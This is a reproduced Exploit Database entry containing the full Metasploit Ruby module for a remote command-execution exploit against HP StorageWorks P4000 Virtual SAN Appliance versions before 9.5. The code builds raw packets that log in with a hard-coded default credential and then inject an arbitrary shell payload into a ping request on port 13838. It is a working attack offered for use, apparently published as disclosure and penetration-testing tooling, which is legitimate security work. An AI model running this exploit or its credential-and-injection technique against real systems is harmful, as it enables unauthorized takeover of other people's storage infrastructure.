HP StorageWorks P4000 – Virtual SAN Appliance Command Execution (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2012-05-21
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/18901/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution",
  			'Description'=> %q{
  					This module exploits a vulnerability found in HP's StorageWorks P4000 VSA,
  				versions prior to 9.5.By using a default account credential, it is possible
  				to inject arbitrary commands as part of a ping request via port 13838.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Nicolas Gregoire',#Discovery, PoC, additional assistance
  					'sinn3r' #Metasploit
  				],
  			'References' =>
  				[
  					['EDB', '18893'],
  					['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?loc=en_US&id=958'],
  					['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03082086']
  				],
  			'Payload'=>
  				{
  					'BadChars' => "/",
  					'Compat' =>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl telnet bash'
  						}
  				},
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => "none"
  				},
  			'Platform' => ['unix', 'linux'],
  			'Arch' => ARCH_CMD,
  			'Targets'=>
  				[
  					['HP VSA prior to 9.5', {}]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Nov 11 2011",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptPort.new('RPORT', [true, 'The remote port', 13838])
  			], self.class)
  	end
  
  
  	def generate_packet(data)
  		pkt = "\x00\x00\x00\x00\x00\x00\x00\x01"
  		pkt << [data.length + 1].pack("N*")
  		pkt << "\x00\x00\x00\x00"
  		pkt << "\x00\x00\x00\x00\x00\x00\x00\x00"
  		pkt << "\x00\x00\x00\x14\xff\xff\xff\xff"
  		pkt << data
  		pkt << "\x00"
  
  		pkt
  	end
  
  
  	def exploit
  		connect
  
  		# Login packet
  		print_status("Sending login packet")
  		packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"")
  		sock.put(packet)
  		res = sock.get_once
  		vprint_status(Rex::Text.to_hex_dump(res)) if res
  
  		# Command execution
  		print_status("Sending injection")
  		data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/"
  		packet = generate_packet(data)
  		sock.put(packet)
  		res = sock.get_once
  		vprint_status(Rex::Text.to_hex_dump(res)) if res
  
  		handler
  		disconnect
  	end
  end